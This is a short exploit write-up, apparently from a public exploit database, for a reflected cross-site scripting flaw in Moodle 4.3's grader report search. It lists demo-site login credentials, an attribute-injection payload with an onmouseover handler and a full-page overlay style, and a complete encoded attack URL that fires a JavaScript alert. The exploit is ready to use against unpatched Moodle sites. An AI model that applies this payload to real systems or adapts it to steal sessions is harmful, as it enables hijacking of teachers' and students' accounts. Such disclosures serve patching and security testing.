Moodle 4.3 Cross Site Scripting

`# Exploit Title: Moodle 4.3 Reflected XSS   
# Date: 21/10/2023  
# Exploit Author: tmrswrr  
# Vendor Homepage: https://moodle.org/  
# Software Demo: https://school.moodledemo.net/  
# Version: 4.3  
# Tested on: Linux   
  
  
Vulnerability Details  
======================  
  
Steps :  
  
1. Log in to the application with the given credentials > USER: teacher PASS: moodle  
2. Go to this page https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=  
3. Write this payload in the searchvalue field : "onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"qq9r3  
4. When click this url "https://school.moodledemo.net/grade/report/grader/index.php?id=69&searchvalue=%22onmouseover=%22alert(document.domain)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22qq9r3"  
5. You will be see alert button  
  
`